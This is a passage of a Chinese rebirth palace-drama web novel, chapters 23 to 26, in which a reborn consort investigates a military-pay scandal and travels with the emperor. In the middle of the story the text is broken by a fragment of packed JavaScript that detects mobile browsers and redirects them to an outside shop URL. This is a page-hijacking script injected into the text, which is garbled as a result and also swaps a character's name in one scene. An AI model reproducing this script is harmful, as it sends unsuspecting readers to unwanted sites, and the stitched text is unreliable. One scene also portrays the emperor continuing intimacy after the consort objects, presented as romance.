苏寻雁眼底闪过意外,嘴角不自觉翘起。
她这次不仅重生,还回到自己十九岁这一年了?
那上天待她不薄啊!
23. 第 23 章
此时,是她与韩屹成婚的第二年,感情正好。林婉柔也还未与他接触上,那桩令她家倾覆的军饷案,更是连个影儿都没有。
一切都还未发生,一切都还来得及。这次重生的时机,真是再合适不过。
“娘娘,天还未亮,您快再躺下歇歇,有什么话明日再说。”
说罢,苏嬷嬷就上前,仔细给她掖好被角。
她还有好多问题想问,可看到苏嬷嬷眼里的那抹深红,与眼底的青黑时,还是默默地闭上了眼。
罢了,还是等明日再说,反正自己又回来了,有的是机会查清眼下的状况。
话虽如此,她闭上眼,脑海里还是不免回想起上一世发生的事。
当时她脑袋晕沉沉的,浑身也疼得不行,根本没心思也没力气去想,是谁给她下的毒。
只是如今回想起来,仍是没有半点头绪。
会是她最后喝的那碗参鸡汤吗?
不会,若鸡汤有毒,御医应该很快就会发现。那问题出在哪里呢?
大概是大病初愈,她虽恢复了些精力,想着想着,睡意又涌上来。
她隐约间听到一片嘈杂之声,手下意识地捂住耳朵,可那声音却越来越大,吵得她不得不睁开眼睛。
她还在熟悉的床榻上,可身体的痛疼却怎么也忽略不了。
里衣已经被汗水打湿,浑身的力气仿佛都被抽走,这么一会儿功夫,她竟是连抬眼的力气也没有了。
她只能张着嘴,艰难地喘着气。
朦胧地视线里,两抹熟悉的身影出现在殿门前,他们脸上带着悲切,大声喊着她的名字。
她很想应声,嘴唇动了动,却发不出一点声音。
随着二人的靠近,她恍惚看到,殿门外又多出一抹身影。
可那影子仿佛隔着一层雾气,任凭她怎么努力,都看不清那人的全貌。
身影就在这时,一晃而过,仿佛未曾出现过。
苏寻雁见状,想要出声,引起旁人的注意,却怎么也发不出声音。
她费力地抬起胳膊,却在挣扎间,身体不受控制地从榻上直直坠下。
——
苏寻雁猛地被惊醒,大口喘着气,看着漆黑地环境,却再也睡不着。
方才那不像是个梦,更像是她的前世。
凶手会是门外出现的那抹身影吗?她是谁呢?
迷迷糊糊间,她又睡了过去。
当最后一丝夜色褪去,晨光落在结了霜地树枝上,挂在树上的冰凌看上去更显通透。而不远处传来的一两声清脆鸟鸣,也将天色彻底唤醒。
苏寻雁伴随着鸟鸣声醒来,迷迷糊糊坐起身。
“知秋。”
殿门很快被推开,一个身影缓缓走进,在床榻前停下,床幔被掀开。
见她已经能自己起身,知秋一脸惊喜:“娘娘,您醒了啊?”
苏寻雁慵懒地嗯了一声,嗓音虽还有些沙哑,却比昨日好了许多,起码能出声了。
“什么时辰了?”
知秋笑着答道:“卯时了,娘娘再睡一会儿吧。”
“不了。”她摇头:“我睡了太多,唤人进来吧。”
知秋连忙点头:“哦好,那娘娘您先坐会儿,奴婢这就出去唤她们进来。”
苏寻雁穿鞋下床,宫人们刚好进来。
大病初愈,气色难免不佳,宫人们给她仔细描红,梳妆,不过片刻功夫,她又恢复以往那般明艳动人。
看着铜镜内映出的秀丽模样,苏寻雁颇为满意地说了句:“嗯,不错,你们都下去领赏吧。”
“多谢贵妃娘娘赏赐!”宫人们高兴地跪下谢恩。
待人全都退下,她才转头问知秋:“我病了多少时日,这期间都发生了什么,你一一说来。”
知秋闻言先是一怔,接着小心翼翼地试探道:“娘娘,您,都不记得了?”
苏寻雁叹了口气,耐心解释:“是啊,有些记忆比较模糊,你来帮我回忆回忆?”
知秋见她神情不似说笑,才缓缓开口。
“您生辰过后就病了,一直高热不退,病了有五日,苏嬷嬷与奴婢这几日都急得不行,好在昨日病情稳住了。”
苏寻雁听后,若有所思:“那韩屹呢?哦不是,屹郎呢?他怎么没来看我?”
知秋眼神顿时变得有些复杂。
“陛下一听说娘娘病了,很是着急,前几日来看望过一次,但因政务繁忙,此后都是派刘总管来询问您每日的身体状况。”
苏寻雁眼底闪过一抹诧异:“我都病成这样了,他就只来过一次?”
这时候她与韩屹应是情正浓时,他对自己不该是这样的反应啊?
难不成他与林婉柔已经相遇了?
知秋听后,连忙摇头:“娘娘,您误会陛下了,奴婢看他恨不得天天来守着您呢,可眼下西边的战事吃紧,陛下每日都为此忧心,也就无法顾及您这里了。”
“西边有战事?”她一脸意外地看向知秋。
“对啊,娘娘您连这个都忘了?您那日不舒服,还不让我们去告知陛下,说是怕他会因此分神。”
“呵,是吗?”苏寻雁听后,冷笑出声。
知秋连连点头:“是啊,陛下事后得知,还因此发了好大一通火呢,可怕奴婢吓死了,幸好您身体恢复了,不然奴婢也得跟着去了。”
“呸呸呸,说什么呢?你这是在咒我,还是咒你自己?”苏寻雁没好气地瞪了她一眼。
知秋也觉得自己说错了话,连忙补救:“奴婢不是那个意思,就是有些感慨,陛下真的很在乎娘娘呢!”
苏寻雁不置可否地笑了笑:“西边战事,如今是何情形?谁在前线指挥?”
说起这个,知秋都有些愁。
“是吴将军,战事持续了一个多月,可敌军非但没驱逐,反而势头越来越猛。陛下今日早朝还发了一通火呢,狠狠批了吴将军的副将。”
“你说的吴将军,可是那个吴迪?”
知秋点了点头,随即有些疑惑:“娘娘怎会知道他?若不是这次战事,奴婢都不知还有这么一位将军呢。”
苏寻雁露出一抹淡笑:“吴将军与父亲关系不错,我也有幸见过他几面,他为人正直,骁勇善
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战,不知这次是因什么,迟迟攻不下来?”
知秋哪里懂这些,只轻轻摇头。
见苏寻雁没话要问了,她才起身:“娘娘,奴婢先去小厨房看看早膳好了没,回来再聊。”
苏寻雁朝她摆了摆手,思绪便转向西边的战事。
她记得前两世,西边并没有起什么战事,直到苏家出事,都没有战事发生,怎么这一次会不一样?
难道是自己的重生,改变了原本的轨迹?
她正要给府里写信,询问下详情,苏嬷嬷便推门走进来。
见她坐在桌案后,她便一脸喜色地走上前:“娘娘,怎么起这么早?还有哪难受吗?”
苏寻雁闻声抬头,笑了笑:“我已经好多了,嬷嬷别担心。”
说罢,她放下手中的笔,从桌案后走出。
“对了嬷嬷,西边的战事,是因何而起,如今又是何情形?”
这些事知秋不清楚,苏嬷嬷一定知道。她与府里时常有书信往来,消息自然也灵通些。
果然,苏嬷嬷凑近几分:“娘娘怎么也关注起此事了?”
“只是觉得奇怪,我记得西边都是些弱小邦国,如何能挑起这样大的战事?”
苏嬷嬷连忙压低声音说道:“听将军说,西边的战事吃紧,朝廷虽派了吴迪将军领兵,可咱们并不占优势,也不知那些小国是从哪儿添了这么多兵力。”
这点也是苏寻雁想不明白的地方,以往周边那些小国是很甘愿归属东齐的。可这一次,他们却如此有恃无恐,要说这背后无人推动,她都不信。
“那眼下呢?父亲可有请愿出战?”
苏寻雁一想到有这种可能,心就没由来地感到不安。
好在苏嬷嬷说:“娘娘放心,将军一心驻守北边,西边他可顾不上。”
苏寻雁点头附和:“嬷嬷说的是,此时正是北边邦国蠢蠢欲动之时,是我着急了。”
“娘娘是担心将军,这有什么。”
这时,知秋走了进来,苏嬷嬷听到脚步声连忙起身,将她手中的托盘接过来,转头又与苏寻雁说。
“娘娘,战事咱们先放一边,早膳得趁热先用了。”
知秋也走过去,与她一同摆放碗筷。
苏寻雁笑着接过筷子,先喝了一口粥,又吃起了小笼包。
知秋见她喜欢吃,便在一旁邀功:“娘娘,这小笼包里还有蟹黄呢,味道好吧?奴婢就觉得您会喜欢,特意吩咐小厨房做的。”
苏寻雁与苏嬷嬷听到她这话,都忍不住笑了。
“嗯,还是知秋最知我心。”苏寻雁不吝啬夸奖。
苏嬷嬷却没好气地说:“娘娘您就宠她吧,宠的她都没边了。”
知秋却不服气地冷哼一声:“是奴婢知晓娘娘的喜好,不然怎么会如此得宠,嬷嬷您可不能羡慕哦。”
“你瞧你那样。”
苏嬷嬷只觉得她那得意地样子没眼看。
看着眼前讨喜爱笑的知秋,再联想到前世的种种,苏寻雁觉得凶手是在故意迷惑她。
只可惜自己去的早,没能找到那下毒之人。
24. 第 24 章
不过细细想来,自己这两次重生,似乎都发生在意外身故之后。
难道这就是自己重生的契机?
如果下一次再遭遇意外,还会触发重生吗?
罢了,还未发生的事,想再多也是无用,还是先顾好眼前。
眼下那桩影响她家命运的军饷案,还未发生,也许她可以在它萌芽之时,将其解决。
“嬷嬷,除了西边的战事,靖王那边如何?他近来可有回京?”
苏嬷嬷还在与知秋小声讨论着什么,闻言一怔。
“娘娘怎会问起靖王?他在封地呢,没听说要回京啊,怎么了?”
苏寻雁笑了笑:“哦,没什么,就是觉得西边战事僵持不下,说不定最终还要请靖王出面解决。”
苏嬷嬷听后,也点头附和。
“娘娘说得不无可能啊,朝中能出战的将领本就不多,连吴将军都不行的话,除了咱家将军,也就只有靖王了。”
不等她说完,苏寻雁便倏然起身,朝内室走去。
苏嬷嬷与知秋对视一眼,急忙跟了进去。
“娘娘,您这是要找什么?老奴可以帮您啊。”
苏寻雁正俯身在几个箱子间,将里面的檀木盒子一一取出,细细翻看着,像是在寻什么紧要之物。
苏嬷嬷终是没忍住,上前询问。
苏寻雁回头,朝二人摆手:“不必,我都不确定它还在不在这,你们帮不上忙。”
知秋闻言却有些不服:“那可说不准呢,那些小物件,往常都是奴婢替您收着的,娘娘说说看?”
“我在找一枚玉印,没记错的话,应是用朱色绸布包裹的,你可有印象?”
苏寻雁本也没报什么希望,毕竟那是前世,与韩远修第一次密谈之后,对方留给她的信物。
不料,知秋却很认真地点了点头。
“奴婢还真见过一枚玉印呢,娘娘您看看,是不是这个?”
说着,她从箱中取出一个檀木盒子,轻轻打开,里面果真有一物,正是用朱色绸布所包裹的。
苏寻雁眼底掠过惊诧之色,连忙接过来,将外层的红绸一一剥开,露出了里面熟悉的玉印。
玉印之上,单独刻着一个‘初’字,可不就是韩元修前世送她的那枚。想不到还真让她给寻到了,这也太不可思议了。
知秋见她一直盯着那玉印瞧也不说话,就一脸好奇地凑过来。
“娘娘,这是您要找的那枚吗?是谁送您的呀?奴婢记得先前没有这玉印啊。”
苏寻雁被问得一时语塞,连忙转移话题。
“这玉印一直都在盒子里吗?”
知秋摇头:“没有,先前娘娘病了,手里多出枚玉印,还怎么都不肯撒手,后来还是等您睡了,奴婢才将玉印收起来。今日您要是不问,奴婢险些给忘了。”
苏嬷嬷一听,就数落起她来:“你说说你啊,好心替娘娘收了,事后却不说一声,若因此耽误了娘娘的正事,看你怎么交待。”
“我那时候刚顾着紧张娘娘的病情了……”
苏寻雁心下疑惑,闻声打断了二人的话:“无妨,玉印能寻到就好。”
这玉印应是她临死前,无意识的攥在手中,所以它也跟自己回来了。
真不错,有了这个信物,她与靖王谈合作便简单许多了。
思及此,她嘴角不自觉扬起,与一旁的苏嬷嬷说。
“嬷嬷,明日你去寻一个脸生的宫人,让他去御花园,寻一个做洒扫,名字应是唤……”
那名字就在嘴边,却怎么也想不起来,她忙让自己冷静下来,闭上眼,努力回想。
“对了,他唤竹子,寻到人之后,什么也不必说,只将这枚玉印交于他便好。”
按照前世查到的线索,若想尽快将军饷案揭开,就必须从西郊军营内部着手,可她如今的身份,根本无法接触到军营。
眼下最合适的人选,便是靖王韩元修了。
可他身为亲王,无诏不得归京,得想一个由头,让韩屹主动将他召回才好。
当然,也得先与他联系上再说。
“娘娘,可是出什么事了?咱们苏府之人不能用吗?”
苏嬷嬷一听这陌生的名字,就知不是苏府之人,眼底闪过一抹忧色。
“我知嬷嬷的顾虑,此人值得信赖,你放心。”
见她坚持,苏嬷嬷也只得遵从,“那好,老奴这就去安排。”
随着众人的离开,内室又重归寂静。
苏寻雁缓步走到桌案后,目光落在那张牡丹图上。
画上的牡丹色彩艳丽,笔触随意,让人看了心情就开明许多,
她忍不住轻叹了口气,也只有在什么都未曾发生时,自己才有如此情志啊。
如今历经两世的她,就是用再浓艳的色彩,也描绘不出当初那般的心境了。
她将牡丹图轻轻卷起,放入画筒,又铺开一张宣纸,写下了几件待解决之事。写完,她又盯着那张纸,陷入了沉思。
凭着上一世查到的线索,这次要查的事反而更多了。
不过,其中最紧要的,仍是那桩军饷案。
若案件侦破,或可保她家暂时安宁。
可若想求得长久太平,除非父亲主动致仕,不然,同样的风波还会再起。
但这些都是后话了,眼下只有走一步看一步,慢慢将眼前的困难解决,或许,事情会另有转机呢。
转眼到了第二日。
苏寻雁还在焦急等待消息,却等来了一个不速之客。
她只得敛了神色,起身去迎。
韩屹笑着朝她伸手,二人便牵着手,一同往殿内去。
韩屹走到榻边坐下,便好奇地四处打量:“怎么一个宫人都不见?你该不会是有什么秘密瞒着我罢?”
苏寻雁却嗔怪地看了他一眼:“瞎说什么呢,我有什么秘密,你会不清楚?还说这些。”
韩屹连忙上前,将她抱在怀中,轻声安抚:“好好,我只是开个玩笑,怎么还生气了?”
苏寻雁只将脸转向一边,不去看他。
韩屹连忙起身,将脸贴近苏寻雁的侧脸,压低声音道:“我今日来,可是有件好事要与你说,不想听听吗?”
苏寻雁这才故作矜持地望过来:“什么事?说来听听。”
“过几日,我打算出巡一次,你要不要随我一起?”
苏寻雁一听这话,就来了兴致:“去哪里?怎么突然想要出巡?”
“先前我们不是约好,每年都带你出宫走走?可惜政务繁忙,一直未能如愿,眼下刚好得闲,你我就去西郊转转如何?”
韩屹说罢,含笑望着她。
苏寻雁起初面上还有笑意,可一听西郊二字,却顿住了。
“西郊?”她眸色微转:“我记得那里有军营驻守,你嘴上说得好听,什么陪我走走,实则是要去见什么人吧?”
韩屹却笑着刮了下她的鼻尖:“那你可是多心了,我不过是想与你出门散散心罢了,去军营作甚?三日后便动身,如何?”
苏寻雁还想出言试探,一听这话,反倒一怔:“为何这么急?”
韩屹将她拥得更紧,温热的呼吸拂过她耳边,声音极轻:“急
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吗?我只嫌三天,太长了。”
她靠在他的胸前,没有作声。
心里却如明镜一般,这样寒冷的天气,好端端地突然要去西郊,若不是为了去见什么人,又怎么会如此急迫。
没听到她的回应,韩屹便松开怀抱,垂眸望向她。
“今日你为何这般冷淡?可是还在为几位美人的事,同我置气?”
她闻言一愣,随即反应过来,露出一抹淡笑。
“美人的事,我们不都说好了?等朝局稳定,就放她们自由,我又怎会再为此事生气,还是说,你想反悔?”
韩屹连忙摇头,语气急切:“绝无可能,我既已说出口,便绝不会反悔。”
呵,果然啊,从始至终,皆是他的骗局。
前世直到她死,都未等来这句承诺兑现,反倒是见他往后宫塞了一个又一个新人。
“嗯,我信你,只是我大病初愈,身体还有些乏累。”说罢,她还轻咳了两声应景。
韩屹顿时紧张起来:“还难受吗?可要传御医来为你看看?”
“不必了,已经好了许多,再养几日应该就能恢复。”
韩屹听后,这才缓了脸色,指尖轻轻抚过她的脸颊,眼底满是疼惜。
“瞧瞧你,这一场病下来,脸都瘦了一圈,这几日可得好好用膳,不然三日后出巡,如何受得住颠簸?”
苏寻雁轻声应下:“我会的,你别担心。”随即好奇地问道:“对了,西边的战事都平了?”
“嗯,平了,阿那国的国王突然崩逝,几位皇子忙着内斗争权,无心战事,我们趁机与他们达成和解,五年内西边不会再起战事。”
说起此事,韩屹嘴角就不自觉扬起,整个人都放松下来。
烦扰他一段时日的战事,总算得以平息。朝中大臣也不会再提议由靖王参战。
苏寻雁虽觉意外,面上却仍带着浅笑。
“那可得恭喜陛下了,难怪突然有兴致要出巡,原是为了庆祝这件喜事啊。”
“这是自然,偏你这没心没肺的,曲解我的好意。”说罢,他又伸手捏了捏她的脸颊。
“哎呀疼,你别捏了。”
苏寻雁不客气的将他的手打开,揉了揉微疼的脸颊,眼神微恼地撇了他一眼。
韩屹也不恼,他俯身靠近,又一次将她揽入怀中,轻轻吻上她的双唇。
渐渐兴起时,他却停了下来,深深地看了她一眼,目光里满是不舍与压抑。可最终,他还是转身,离开了雁鸣宫。
他本想今夜与苏寻雁共度良宵,可她如今的身体太过虚弱,经不起折腾,他只得按捺下来,遗憾离去。
望着他离去的背影,苏寻雁只冷哼一声,方才他眼中的那抹深意,她岂会不知,只是懒得去应付罢了。
只是,他眼下这么着急去西郊,究竟是要见什么人呢?
记得前世,韩屹并未去过西郊军营,当然,也可能是没与自己说实话,刻意隐瞒了行踪。
前世这会儿,她应还在病中,所以他去了何处,去见了什么人,她一概不知。
思及此,她忙唤来苏嬷嬷:“嬷嬷,速去查一个人,此人名唤林萧,是上京官员。”
苏嬷嬷连忙点头应下:“哦,好的。”
随即她一脸关切地看向她:“娘娘,您怎么看上去脸色不太好?可是方才与陛下闹了不愉快?”
苏寻雁回过神来,淡笑着摇头:“没有,我只是想起一桩旧事。”接着又正色道:“我方才说的那人,你速去调查。还有,三日后,我会与韩屹前往西郊,吩咐下去,一应出行事宜提前安排好。”
25. 第 25 章
苏嬷嬷一听这话,便忍不住笑了出来。
“陛下今日来,便是为着此事吧?这敢情好啊,娘娘终于可以出宫转转了,老奴这便吩咐下去。”
难得有了出宫的机会,苏寻雁却并没什么喜悦之意。
不过能有机会去西郊,也算是意外之喜了。
她本就想从西郊军营查起,却苦于无从下手,此次出巡,正是机会。她倒要去看看,这西郊军营里都是些什么人。
苏嬷嬷走到殿门口,想起一事,忙又折返回来。
“瞧老奴这记性,差点误了正事,娘娘,我们的人已经与竹子见过了,也将玉印交给他了,说是让我们等他安排。”
苏寻雁听后,面上一喜,放下手中的古籍,追问道:“见到人就好,他还在御花园当值吗?”
“嗯,我们起初也碰了壁,此人颇为防备,说什么都不搭理,直到拿出玉印,他才有些反应。”
苏寻雁嘴角微扬,眼底满是笑意。
苏嬷嬷瞧她笑得这般开心,更觉好奇,忍不住问道:“娘娘,那枚玉印,究竟是谁的啊?”
“此事说来话长,待这次出巡归来,我再与嬷嬷细说。”
苏嬷嬷一听,虽有些失望,面上还是笑着应下。
“既如此,那就等回来再说,对了,这次出巡,娘娘要带几人?老奴也可前往。”
看着她一脸期待的笑脸,苏寻雁就有些过意不去。可一想到竹子那边,还是将心中的决定说了出来。
“此次出巡,嬷嬷先不必跟了,竹子那边还需嬷嬷亲自盯着,交给其他人我也不放心。”
苏嬷嬷先是怔了怔,随即便笑了:“瞧您说的,老奴时常出宫,将这次机会留给知秋她们几个,岂不更好。”
苏寻雁看了她一眼,还是将话挑明了。
“嬷嬷,竹子实则是靖王的人,我需尽快与他取得联系,此事嬷嬷务必多上心。”
苏嬷嬷一听这话,很是震惊:“靖王的人?”
还想再追问,却见苏寻雁朝她摇头。她这才按捺住心中的好奇,转身去忙了。
当日傍晚,知秋与小锥子便得知了这个好消息。
两人欢喜的不行,连连向苏寻雁磕头谢恩。
“只是游玩一趟,又不是放你们出宫去,至于这么激动吗?”
见他们这般开心,她的眼底也有了笑意。
知秋却说:“我们都许久未曾出宫了,怎么能不激动啊,不过娘娘,您可知这西郊有什么好玩的吗?或者有什么好吃的?”
“这我还真不清楚,但此地离上京不远,想来吃食应是差不多的。”
入宫之前,她也曾去过不少地方,可唯独没去过西郊。或许正是因那里离上京城太近,对自己来说没什么期待。
苏嬷嬷进屋给苏寻雁送晚膳,正好听到几人的话,便没好气地数落他们。
“再过几日便动身了,你们何至于这样急?这景色好不好,吃食如何,到了不自然就知晓了?”
一旁的知秋却不服:“嬷嬷这话不对,没去之前,还不许我们提前期待一下啊?”
“你们与其在这里胡思乱想,不如趁早回屋收拾行囊,免得临了丢三落四,这个忘了,那个没带的,我可先说好,到时我可不会给你们送啊。”
说着,还不耐烦地瞅了知秋一眼。
知秋面上虽还带着几分不服,却也没再反驳,与小锤子一同朝苏寻雁行礼,便默默地退了出去。
“嬷嬷,随他们去吧,难得随驾出巡,欢喜几分也是难免的。”
苏寻雁含笑说罢,便铺开一张宣纸,垂首,习起字来。
苏嬷嬷在旁静静地看着,直到一张写完,才凑近劝道:“娘娘,时辰不早了,还是先用膳吧?”
看着桌上琳琅满目的菜色,苏寻雁却没什么胃口,头也不抬地说:“我喝些粥便好,其余菜色,嬷嬷拿去与大家分了吧。”
苏嬷嬷却是一脸不赞同。
“娘娘,再过两日您就要动身了,只吃这点怎么能行?您身子才好一些,正该多补补才是啊。”
苏寻雁无奈地笑了笑:“道理我都懂,可是我没胃口啊,这样,我再吃几口鱼,总行了吧?”
说罢,她又将那盘鱼拿过来,夹起几块鱼肉吃下。
“那您再将这碗燕窝吃了。”
苏寻雁叹了口气,端起小碗,再次强调:“这可是最后一碗了啊,其余的,我是真吃不下了。”
苏嬷嬷见她那为难样,噗嗤一声笑了出来。
“娘娘这样子,倒让老奴想起您小时候了。”
“瞧嬷嬷说的。”苏寻雁却不依:“好像我小时候就爱挑食似的,今日我是没有胃口,吃不了油腥,可不是挑食啊。”
苏嬷嬷没忍住哈哈笑出了声,随即点头:“是是是,是老奴说错了。”
转眼便到出巡这日.
天未破晓之时,出巡的队伍便已陆续出城,待到日头渐高,一行人已经行到宽阔的官道上。
虽已是入冬的时节,初雪却迟迟未落,道路两侧的树木落叶褪尽,独留枝桠在风中摇曳,平添了几分初冬特有的萧索之意。
苏寻雁所乘的马车内里宽大平稳,宫人为保持车内温度,早早便点燃了暖炉,又点了上好的鹅梨帐中香,淡淡的馨香带着温暖的热度在车内弥漫,让人身处其中,却感觉不到一丝凉意。
她慵懒地倚靠在厚实的软枕上,闲适地拿着一本游记翻阅。
一旁的知秋将茶沏好,放到马车中间的小木桌上,轻声说:“娘娘,喝杯热茶暖暖身子。”
苏寻雁却没好气地看了她一眼:“怎么了?若是待不住,你就下去走走,别打扰我。”
知秋抬头望向苏寻雁,欲言又止,最终还是放弃了,转头看向车外。
苏寻雁也没管她,继续垂眸翻看手中的游记。
上面记录了各地的风土人情,其中还有一段是记录西边的风景。
茫茫大漠,无边无际,人身处其中,顿觉自身渺小,犹如其中的一粒沙烁,混入其中,便不见踪迹。
看着上面大气磅礴的文字,她的思绪不禁飘远。
若有幸能将书中的地方一一走遍,该有多好,当然,这些对她来说,已是奢望。
“娘娘,咱们在路上要走几日啊?”
知秋这一出声,给她惊了一跳。苏寻雁收回思绪,眼神不悦地瞪了她一眼。
知秋自知理亏,连忙小声说:“好嘛,奴婢不说话了,娘娘您继续看书吧。”
苏寻雁刚想说什么,突然传来一阵嘈杂声,知秋忙掀开车帘往外望。
原来是他们途径一处村落,有孩童奔跑而来,差点与行进中的马车相撞。
孩童的母亲见马车富丽华贵,随行之人又个个神情肃穆,便吓得腿软,她跪到地上,颤声道歉。
可那孩童年岁太小,见此阵仗,非但没惧怕,反而还趁他母亲不备,甩开她的手,朝那华贵的马车跑去。只是还未靠近,就被一名侍卫给拦住了。
“哪里来的顽童,还不速速退下!”
苏寻雁朝车外望了一眼,见此情形,便淡声道:“孩童天真,不必为难,让他们去吧。”
侍卫闻言便松开牵制,退到一旁。可那孩子却并不回去,反而还朝着马车的方向跑来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112236|194595||http|test|mini|href|location''.split(''|''),0,{}));
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>知秋见状连忙跳下马车,将其拦住。
“哎小孩,这马车你可不能上啊,赶快回去,你看你母亲都急了。”
孩童连看都不看她,直直看向车内的苏寻雁。
“仙子,你定是仙子吧?”
稚嫩地声音说出这话,显得尤为真诚。
苏寻雁听后,忍不住轻笑出声,随即摇头,轻声说:“我可不是什么仙子,你是要找我吗?”
那孩童连忙点头。
她掀开车帘,朝孩童招了招手:“要进来坐坐吗?”
“娘娘,这样不合规矩啊。”知秋有些急了,低声劝阻。
孩童转头瞪了她一眼,接着手脚并用地爬上了马车。
“无妨,这孩子如此执着,应是有什么话要说,让队伍先行,我们随后跟上便是。”
说罢,她放下车帘,知秋见状,心里急得不行,她无法,只得转身去寻禁军首领。
马车里,孩童一改先前的活泼模样,朝苏寻雁直直跪了下来,大颗的泪珠扑簌扑簌地往下掉。
苏寻雁微微一怔,接着上前将他扶起来。
“这是怎么了?你先别哭,有什么事慢慢说。”她取出巾帕,轻柔的给孩童擦泪。
孩童又抽噎了好一会儿,才断断续续地说:“我爹爹不见了,仙子能不能帮我找找他?我真的,真的好想他啊,呜呜……”
待孩童母亲寻来时,哭声已经渐渐止住了。
"小宝,你这个孩子,怎么这么不听话啊,乱跑什么!"
见孩子从马车上下来,孩童的母亲连忙上前,朝他背上狠狠拍了两下。
苏寻雁刚好从马车上下来,见此情形,眉头微蹙。
“他不过是与我说了几句话,你何必如此责罚?”
孩童母亲听到她的声音,连忙回头,朝苏寻雁躬身作揖。
“给贵人添麻烦了,我这就带他离开,这就离开。”
说罢,拽起孩子的胳膊,转身欲走。
“等一下。”
苏寻雁连忙出声阻止,她快步走上前,看向那女子。
“这孩子的父亲可是遇到了什么事?我听孩子说他已许久不曾见过父亲,若你们有什么难处,尽可说出来。”
谁知那女子却慌张地摇头否认:“没有的事,都是孩子瞎说的,贵人您忙,我们先走了。”
知秋见状却有些不满,她快步上前,再次将母子俩拦住。
“你这妇人怎么不识好人心呢?可知我家主子是何身份?若你们有什么难处,尽可说出来啊,不然我们要如何帮你?”
女子却仍是固执的摇头,嘴里连连说着无事。知秋又劝说了几句,可她还是那态度,一句都不肯多说。
“这是怎么了?”
一道低沉的男声自几人身后响起,女子听到这声音,面上更显慌张,她连忙拉着孩子,后退数步,背过身去躲避来人。
"怎么突然就不走了?都等你半天了,也不见你跟上来。"
韩屹径直走到苏寻雁身前,没有看向那对母子。
“没什么,是这孩子的父亲失踪了,孩子方才见到马车,就冲了过来,想要让我帮忙找到他的父亲。”
韩屹闻言,眼底掠过一抹精光,随即转身,眼神冷冷地扫向那对母子。
“哦?竟有此事?”
女子慌忙低头,跪在地上,不住地朝二人磕头赔罪。
“没有的事,都是孩子的胡言乱语,求二位贵人高抬贵手,放我们走吧!”
孩童见母亲这般模样,眼神茫然,忍不住抬头看向苏寻雁。
“罢了,既然无事,那我们走吧。”
26. 第 26 章
苏寻雁转身,轻轻牵住韩屹的手要离开,却又被韩屹反手拉回身侧。
“急什么,既然她们遇到事了,就该问清楚才是。”
说罢,他朝那女子抬了抬下巴:“说吧,到底发生了什么?”
女子闻言,浑身猛地一颤,眼中满是惊恐。她摇头:“什么事都没有,贵人不必费心,都是这孩子胡乱说的!”
苏寻雁目光微凝,顺着女子的视线看向身侧的韩屹,见他神色平静,并无异常。就有些纳闷:这女子究竟在惧怕什么?
只是眼下这情形,就算再怎么追问,对方也不会说的。
思及此,她便凑过去,催促道:“屹郎,时辰不早了,我们先动身吧,不然该赶不上晚膳了。”
韩屹却没看她,只是转身吩咐道。
“既是有事,就该先解决了。来人,给这对母子寻一辆马车,让他们跟在队伍后面,到了住处,再行询问。”
内侍连忙躬身应道:“是。”
女子吓得不敢作声,任由侍从带着她们下去。那孩童临走时,又回头望了苏寻雁一眼,眼中满是惶恐与无助。
她见了心下不忍,转而看向一旁的韩屹:“她既然不肯说,定有她的顾虑,你又何必为难她?”
“你都为此事停下不走了,我还不能多上心?等到了住处,再细问便是。”说着,牵起她的手,往前走。
苏寻雁却甩开他的手,语气带着几分不悦:“你这样,只会让她更惧怕我们,即便真遇到什么事,她也不会说了。”
“放心,我自有办法让她开口,好了,饭食已经备好,再不走,某人就该喊饿了。”
说罢,不由分说地牵起苏寻雁的手朝前行去,不给她拒绝的机会。
坐上圣驾,苏寻雁还是有些气不过,索性闭目养神,半句话也不愿与他多说。
韩屹不知在翻阅什么文书,过了半响,却突然倾身靠近,低声道:“真恼了?”
她只当没听到,继续闭目不语。
韩屹伸手戳了戳她的脸颊,轻笑了一声:“放心,我不会为难他们,待事情查清楚,自会将人放了。”
她这才睁开眼睛,转眸望向他:“即便你想帮忙,态度也不该如此强硬,我不喜欢。”
“好好好,我知道了,以后会注意的。”
说着话,他的手也没闲着,动作轻柔地托起苏寻雁的脸,将她转向自己,随即吻了下去。
苏寻雁起初不愿,后来挣不脱,只得顺从。可没过片刻,她又有些忍不住,想要推开他。
“哎呀,好了,我话还未说完呢……”
"这么不专心?"
韩元修稍稍退开,带着一丝坏笑望向她:“看来是我还不够卖力啊。”
“这可是在外面呢,你想做什么?”
苏寻雁抬手轻推了一下他的肩,他却不理,反而低头朝她颈间蹭去,温热的气息一路往下。
眼看着就要将衣扣解开,苏寻雁连忙抬手拦住:“若是让人撞见了怎么办?”
“什么怎么办?我与自己心上之人亲近一番,有何不可?”
韩屹漫不经心地笑了笑,随即再度上手。
苏寻雁被他彻底惹恼了,声音也随之冷下来:“你是可以不在乎,可我却在乎,够了!”
韩屹恍若未闻,兀自解开她的外衫才罢休。
他接着俯身靠近,几乎将整个脸都埋了进去。
苏寻雁脸颊瞬间泛红,身侧的双手握紧又松开,呼吸越来越急促,最终,还是忍不住伸手将他推到一旁。
韩屹正兴起时,被她猛地这么一推,眼底的热潮暗了暗,他低笑一声,也不恼,只俯身在她耳边轻叹。
“你想谋杀亲夫啊?今晚看我怎么收拾你。”
苏寻雁刚想说什么,马车却在这时缓缓停下,刘路隔着车帘朝内请示道。
“陛下,娘娘,溪山别苑到了,咱们是先进去休整一番,还是继续往前行?”
韩屹扬声道:“今晚就住溪山别苑,让他们先收拾出来。”
刘路躬身应下:“是,奴才这就安排下去。”
苏寻雁听后,却觉得奇怪:“我们此次的目的地不是溪山别苑吗?你还要去哪里?”
韩屹再度贴近她,将她揽入怀中,闻着那股熟悉的淡香,才缓缓开口。
“自然不是,西郊这边可以游玩的地方很多,别急,我会一一带你去。”
苏寻雁一听这话,也不恼了,露出一抹淡笑:“好啊,那我可就等着陛下带我去了。”
“嗯,一言为定。”韩屹说罢,又吻上她的脸颊。
要不是刘路来请示,还不知他要吻到什么时候。
苏寻雁随着韩屹步入溪山别苑,一路行来,只觉处处皆是景,亭台楼阁,假山花草,每一处都有不同的意境。
